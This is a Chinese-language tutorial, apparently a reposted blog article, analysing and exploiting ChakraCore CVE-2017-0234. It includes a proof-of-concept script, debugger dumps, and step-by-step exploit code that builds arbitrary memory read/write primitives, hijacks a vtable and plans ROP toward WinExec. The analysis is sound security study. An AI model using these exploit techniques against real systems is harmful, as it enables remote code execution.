您好,登錄后才能下訂單哦!
如何實現Edge CVE-2017-0234 漏洞復現與利用,很多新手對此不是很清楚,為了幫助大家解決這個難題,下面小編將為大家詳細講解,有這方面需求的人可以來學習下,希望你能有所收獲。
首先clone并切換到漏洞所在的源碼版本
git clone https://github.com/microsoft/ChakraCore.git git checkout d8ef97d90c231e83db96dc4fdff4b39409f7a9b6
Chakra.Core.sln文件在Build目錄下。推薦使用VS2015生成解決方案,新版VS可能會遇到缺少運行庫的問題。
下面分析僅針對Release配置下編譯生成的Chakra,Debug配置中會啟用一些額外的檢測。
使用VS或者Windbg調試都可以,設置可執行文件為ch.exe,參數為js文件。
function write(begin,end,step,num) { for(var i=begin;i<end;i+=step) view[i]=num; } var buffer = new ArrayBuffer(0x10000); var view = new Uint32Array(buffer); write(0,0x4000,1,0x1234); write(0x3000000e,0x40000010,0x10000,1851880825);
首先對POC內容簡單分析一下
buffer申請了一塊0x10000的內存作為緩沖區
view是以buffer為緩沖區的Uint32變量類型的數組
自定義的write函數對view數組進行了一個循環賦值的操作
第二次write顯然超出了0x10000緩沖區的范圍,但js中的數組越界賦值,通常會直接忽略
但是Windbg捕獲到了一個異常:
(7200.6cbc): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. 000001a2`9fad0157 46892c8e mov dword ptr [rsi+r9*4],r13d ds:000001a2`644c0038=????????
觀察相關寄存器及其指向內存區域的情況,其詳細內容如下:
0:004> r @rsi,@r9 rsi=000001a19fa40000 r9=00000000312a000e
0:004> dd @rsi 000001a1`9fa40000 00001234 00001234 00001234 00001234 000001a1`9fa40010 00001234 00001234 00001234 00001234 000001a1`9fa40020 00001234 00001234 00001234 00001234 000001a1`9fa40030 00001234 00001234 00001234 00001234 000001a1`9fa40040 00001234 00001234 00001234 00001234 000001a1`9fa40050 00001234 00001234 00001234 00001234 000001a1`9fa40060 00001234 00001234 00001234 00001234 000001a1`9fa40070 00001234 00001234 00001234 00001234
顯然rsi指向buffer,r9是write中進行的數組賦值操作中的數組下標i,乘以4是因為Uint32成員單位大小是4字節
0:004> dd @rsi+@r9*4 000001a2`64500038 ???????? ???????? ???????? ???????? 000001a2`64500048 ???????? ???????? ???????? ???????? 000001a2`64500058 ???????? ???????? ???????? ???????? 000001a2`64500068 ???????? ???????? ???????? ???????? 000001a2`64500078 ???????? ???????? ???????? ???????? 000001a2`64500088 ???????? ???????? ???????? ???????? 000001a2`64500098 ???????? ???????? ???????? ???????? 000001a2`645000a8 ???????? ???????? ???????? ???????? 0:004> !address @rsi+@r9*4 Usage: <unknown> Base Address: 000001a1`9fa50000 End Address: 000001a2`9fa40000 Region Size: 00000000`ffff0000 ( 4.000 GB) State: 00002000 MEM_RESERVE Protect: <info not present at the target> Type: 00020000 MEM_PRIVATE Allocation Base: 000001a1`9fa40000 Allocation Protect: 00000001 PAGE_NOACCESS
越界后的數組下標指向的這塊內存不具有RW權限,因此產生了異常
關注點:R9的值并不是第一次越界寫入時的數組下標,并且JS正常情況下數組越界并不應該產生異常
查看異常發生時的調用棧
由此可得,是for循環達到一定次數后觸發了JIT機制,而異常就發生在通過JIT編譯后執行的越界寫入中。顯然此處JIT生成的匯編代碼缺少數組下標的越界檢測,通過patch代碼的分析來探尋其中的原因。
patch的內容:針對三個標志位的設置與否,添加了額外的檢測
根據eliminatedLowerBoundCheck 與 eliminatedUpper-BoundCheck 意譯可知,是關閉下標溢出檢測的標志位,由此可得這個漏洞之所以能輕易數組越界,是因為開發者主動關閉下標檢測。而相關原因將在下文進一步分析。
此外,這個漏洞還有一個特點,JIT中數組越界產生的異常會被chakra自己處理,并不會引發crash,理論上這對漏洞利用的穩定性會有所幫助。(但最后寫出的Exp其實并沒有用上這個機制)
POC中ArrayBuffer申請的長度0x10000并不是隨便選的,這個長度將會決定是由AllocWrapper還是malloc申請內存
JavascriptArrayBuffer::JavascriptArrayBuffer(uint32 length, DynamicType * type) : ArrayBuffer(length, type, (IsValidVirtualBufferLength(length)) ? AllocWrapper : malloc) { }
bool JavascriptArrayBuffer::IsValidVirtualBufferLength(uint length) { #if _WIN64 /* 1. length >= 2^16 2. length is power of 2 or (length > 2^24 and length is multiple of 2^24) 3. length is a multiple of 4K */ return (!PHASE_OFF1(Js::TypedArrayVirtualPhase) && (length >= 0x10000) && (((length & (~length + 1)) == length) || (length >= 0x1000000 && ((length & 0xFFFFFF) == 0) ) ) && ((length % AutoSystemInfo::PageSize) == 0) ); #else return false; #endif }
由上方可知0x10000是滿足調用AllocWrapper的最小長度
再來看看AllocWrapper的邏輯,實際上還是使用VirtualAlloc進行內存申請與管理:
static void*__cdecl AllocWrapper(DECLSPEC_GUARD_OVERFLOW size_t length) { #if _WIN64 LPVOID address = VirtualAlloc(nullptr, MAX_ASMJS_ARRAYBUFFER_LENGTH, MEM_RESERVE, PAGE_NOACCESS); //throw out of memory if (!address) { Js::Throw::OutOfMemory(); } LPVOID arrayAddress = VirtualAlloc(address, length, MEM_COMMIT, PAGE_READWRITE); if (!arrayAddress) { VirtualFree(address, 0, MEM_RELEASE); Js::Throw::OutOfMemory(); } return arrayAddress; #else Assert(false); return nullptr; #endif }
其中VirtualAlloc申請的大小MAX_ASMJS_ARRAYBUFF-ER_LENGTH是固定值,直接一次性申請4GB大小
define MAX_ASMJS_ARRAYBUFFER_LENGTH 0x100000000 //4GB
AllocWrapper中調用了兩次VirtualAlloc,第一次申請了0x100000000的巨大空間但是設置為NOACCESS,第二次VirtualAlloc根據ArrayBuffer實際申請的長度,把0x10000000中相應長度的區域設置為RW
這下我們就可以嘗試解釋JIT中忽略異常并不設置下標檢測的原因了:
這塊4G的緩沖區中僅會作為一個數組對象的緩沖區
chakra中數組下標是uint32類型,因此其最大值是2^32-1
假設數組成員變量是單字節大小,那剛好無法越過4G的范圍
在4G的范圍內進行越界讀寫,并不會產生危害
關閉下標檢測可以提升性能
但POC中已經給出了答案,若數組成員變量大于1字節,則可以跨越4G的安全區去進行越界讀寫。只要利用堆噴射等方式申請到4G的正后方內存,就可以劫持對象的數據結構從而間接實現任意讀寫。
windows環境下的利用相比linux會復雜一些,首要目標大多是先嘗試達成任意地址讀寫,再往后一般也就只是時間問題了。
首先觀察一下與后續利用相關的數據結構:
//arr大概率能分配到buffer申請到的4G空間的正后方 var buffer = new ArrayBuffer(0x10000); var view = new Uint32Array(buffer); var arr = new Array(0x800) arr[0]=0x111 arr[1]=0x222
chakra中數組是基于B Tree的數據結構,大體上我們需要了解其是將數組分部在多節點內存存儲
每個節點稱之為segment,其中length代表已存儲的成員數量,size代表這個seg的大小
left代表B tree中左節點
next指向下一個segment
0x80000002是MissingItem,簡單可以理解為未初始化時的默認值。
segment中head的偏移是0x20,存放數組成員的地方從0x38偏移處開始;next指向的是下個segment.head
0:004> dd 1D7`CE5A0000 000001d7`ce5a0000 00000000 00000000 00002020 00000000 000001d7`ce5a0010 00000000 00000000 0000b33a 00000000 000001d7`ce5a0020 00000000 00000002 00000802 00000000 000001d7`ce5a0030 00000000 00000000 00000111 00000222 000001d7`ce5a0040 80000002 80000002 80000002 80000002
使用vs調試可以更輕松地觀察數據結構
//通過以下代碼進一步觀察left與next arr[0]=0x111 arr[1]=0x222 arr[0x2000]=112233 arr[0x4000]=334455
0x00000131C3B24520 00000000 00000000 00000000 00000000 0x00000131C3B24530 00000000 00000000 00000000 00000000 0x00000131C3B24540 00000000 00000002 00000012 00000000 //left=0 size=2 length=0x12 0x00000131C3B24550 c3b245a0 00000131 00000111 00000222 //next=0x131c3b245a0 0x00000131C3B24560 80000002 80000002 80000002 80000002 ..... 0x00000131C3B245A0 00002000 00000001 00000012 00000000 //left=0x2000 size=1 length=0x12 0x00000131C3B245B0 c2158180 00000129 00000333 80000002 //next=0x129c2158180 0x00000131C3B245C0 80000002 80000002 80000002 80000002 ...... 0x00000129C2158180 00004000 00000001 00000012 00000000 //left=0x4000 0x00000129C2158190 00000000 00000000 00000444 80000002 0x00000129C21581A0 80000002 80000002 80000002 80000002
進行數組查詢時,會根據length與size判斷是否要去next的下一個節點,如果我們通過POC中的越界寫入修改了length與size并改得很大,那就可以通過該數組進行越界讀寫。
EXP Step1:成功分配兩個數組的buffer到4G空間后方
var buffer = new ArrayBuffer(0x10000); var view = new Uint32Array(buffer); var arr1 = new Array(0x800); var arr2 = new Array(0x800);
通過調試觀察可得arr2因為內存對齊,實際位于arr1+0x3000處,中間存在無效數據
0:009> dd 0x1AE5EBE0000 000001ae`5ebe0000 00000000 00000000 00002020 00000000 000001ae`5ebe0010 00000000 00000000 000066af 00000000 000001ae`5ebe0020 00000000 000f0000 000f0000 00000000 000001ae`5ebe0030 00000000 00000000 12345678 0000aaaa 000001ae`5ebe0040 00000000 80000002 80000002 80000002 000001ae`5ebe0050 80000002 80000002 80000002 80000002 0:009> dd 0x1AE5EBE3000 000001ae`5ebe3000 00000000 00000000 00004020 00000000 000001ae`5ebe3010 00000000 00000000 0000468f 00000000 000001ae`5ebe3020 00000000 00000004 00000801 00000000 000001ae`5ebe3030 00000000 00000000 00000123 00010000
myarr[0]=myobj;
這一步實際上是將myobj的地址作為指針存儲在了數組中,不過正常情況下無法將這個指針的值直接leak出來,但利用越界讀等特殊方式就可以做到。
EXP Step2:利用arr1越界讀取arr2中的對象指針,實現任意對象leak
//JIT OOB hijack length and size of arr1 write(0x40000000+0x09,0x40000000+0x001000,0x100000,0xf0000); //Now arr1 can OOB read&write arr2 write(0x40000000+0x0a,0x40000000+0x001000,0x100000,0xf0000); //now you can leak any object function getobjadd(myobj) { arr2[3]=myobj; uint32[0]=arr1[0xc06];//int to uint return (arr1[0xc07])*0x100000000+uint32[0]; }
這是利用過程中最復雜的操作。
首先總結一下目前擁有的能力:
通過JIT漏洞越界寫arr1及其高地址的內容
通過arr1越界讀寫高于arr1地址的內容,如arr2
任意對象地址leak
而我們現在想偽造一個array對象,通過控制其buffer的方式來實現任意讀寫,并且buffer以外的對象數據也必須設置得合法。顯然目前所擁有的能力很有限,但是上文提到的seg.next在此刻派上了大用場。
將segment的next劫持為對象地址,訪問超出當前segment left+length的成員時,則會將該對象的地址當作下一個segment訪問
//申請四個共用buffer1緩沖的數組 var buffer1 = new ArrayBuffer(0x100); //view1-4對象本身基本會分配在一塊連續內存上 var view1 = new Uint32Array(buffer1); var view2 = new Uint32Array(buffer1); var view3 = new Uint32Array(buffer1); var view4 = new Uint32Array(buffer1);
調試觀察可得,view對象大小為0x40字節
00000230`09013940 00007FFB6B9F8D78 0000023008FD5480 //view1 0偏移處為指向虛表的指針 00000230`09013950 0000000000000000 0000000000000000 00000230`09013960 0000000000000040 0000023009030190 //指向buffer1對象 00000230`09013970 0000000000000004 00000228075AE5F0 //指向真正的緩沖區 00000230`09013980 00007FFB6B9F8D78 0000023008FD5480 //view2 00000230`09013990 0000000000000000 0000000000000000 00000230`090139A0 0000000000000040 0000023009030190 00000230`090139B0 0000000000000004 00000228075AE5F0 00000230`090139C0 00007FFB6B9F8D78 0000023008FD5480 //view3 00000230`090139D0 0000000000000000 0000000000000000 00000230`090139E0 0000000000000040 0000023009030190 00000230`090139F0 0000000000000004 00000228075AE5F0
上文指出,next指向的是head,而head與數組成員間還相隔0x38-0x20=0x18
要想通過偽造的next越界讀寫,必須要知道fake head.left來確定數組下標index
0x28偏移處是指向buffer1對象的指針,可以通過任意對象leak來獲取
綜上,將next設置為view1+0x28,則left就是buffer1地址的低4字節,并且數組成員起始區域是view1+0x28+0x18,剛好是view2對象的地址
//將對象數據復制到buffer1緩沖區中 uint32[0]=arr1[0xc00];//leak low 4Byte of buffer1 and int to uint index=uint32[0]; for(var i=0;i<0x10;i++) { view4[i]=arr1[index+i];//Copy data of view object for faking }
Tips:
arrint當前是int32類型數組,因此數據若大于0x7fffffff,應先轉為負數再傳給arrint
arrint本身有length屬性,必須大于訪問的index,直接設置為0xffffff00即可
現在buffer1中已經有了一個完整且合法的數組對象,通過view1[0xe&0xf]即可修改fake buffer來實現任意讀寫。
最后的一步就是讓解釋器也把這塊內存上的數據當作對象處理
EXP Step3:任意地址讀寫
關于如何讓chakra將指針認為是對象,暫未能深入探究,僅通過不斷修改代碼測試得出可行的方法
由于筆者能力有限,本文對chakra數組實現的分析僅深入到能理解Exp利用方式的程度,關注點在于left,size,length,next這四個變量的作用。
function readuint32(address) { view4[0x0e]=address%0x100000000; view4[0x0f]=address/0x100000000; return myview[0]; } function writeuint32(address,num) { view4[0x0e]=address%0x100000000; view4[0x0f]=address/0x100000000; myview[0]=num; }
常規思路有泄露棧地址然后ROP等,但windows下的棧穩定性不像linux,即使泄露stack base也難以確認返回地址所在的位置,此處選擇的方法是虛表劫持。上文提到view對象0偏移處即為該類數組對象的虛表,類似于linux pwn中常見的IO_FILE利用中可劫持的vtable
00007FFB`87818D78 00007FFB87213CE0 00007FFB87213CE0 //都是函數指針 00007FFB`87818D88 00007FFB87213CE0 00007FFB87213CE0 00007FFB`87818D98 00007FFB87213D10 00007FFB87557480 00007FFB`87818DA8 00007FFB87557460 00007FFB875574A0 00007FFB`87818DB8 00007FFB87557420 00007FFB874BF350 00007FFB`87818DC8 00007FFB873B8310 00007FFB87557DF0
因此我們只要將view對象的虛表指針修改到我們可控的區域,就可以劫持控制流了
由于windows下并沒有one_gadget這種方便的存在,劫持控制流后還需要結合其他利用技術才能進行下一步,尋找合適的gadget往往也會是個不小的難題。
本機環境的ntdll與kernel32.dll中,能直接控制RSP并且ret的只有mov rsp, r11。通過push rxx;pop rsp這種間接控制的gadget筆者也沒有找到,因此思路轉向尋找會使r11數值可控的數組方法
經過很多次嘗試后,發現arr1==arr2會將r11設置為arr2對象地址
因此可以直接將對象區域破壞,用于存放ROP chain
windows有個特性,短時間內模塊的基址是不會變的,利用這點可以讓調試過程更加方便
通過對象的虛表指針,減去偏移可以得到ChakraCore.dll的基址
通過ChakraCore.dll的IAT表,leak其他模塊基址
windows中的底層api往往需要很多參數,大多不像linux下的system/execve那么好用,而且還散布在不同的dll中。此處推薦kernel32!WinExec,僅需控制兩個參數并且位于kernel32模塊,非常方便。
windows64位下api使用寄存器傳參通過RCX, RDX, R8, R9,RSP+0x20....傳遞
ntdll中一般會存在很多好用的gadget用于控制參數寄存器
本地環境測試中,唯一的不穩定因素是arr1能否占位到4GB后,成功率大約有80-90%
嘗試在開頭就大量new Array來占位4GB后,經測試絕大多數情況都是第一次分配就占位成功,若不成功則后續也難以占位到這處位置。若要達成100%成功率,需在此處進一步研究。
其他環境復現,需要修改ROP中用到的gadget偏移
實際上要在Edge上成功利用的話,還需要繞過CFG機制,也就是說無法通過劫持虛表指針直接ROP。
看完上述內容是否對您有幫助呢?如果還想對相關知識有進一步的了解或閱讀更多相關文章,請關注億速云行業資訊頻道,感謝您對億速云的支持。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。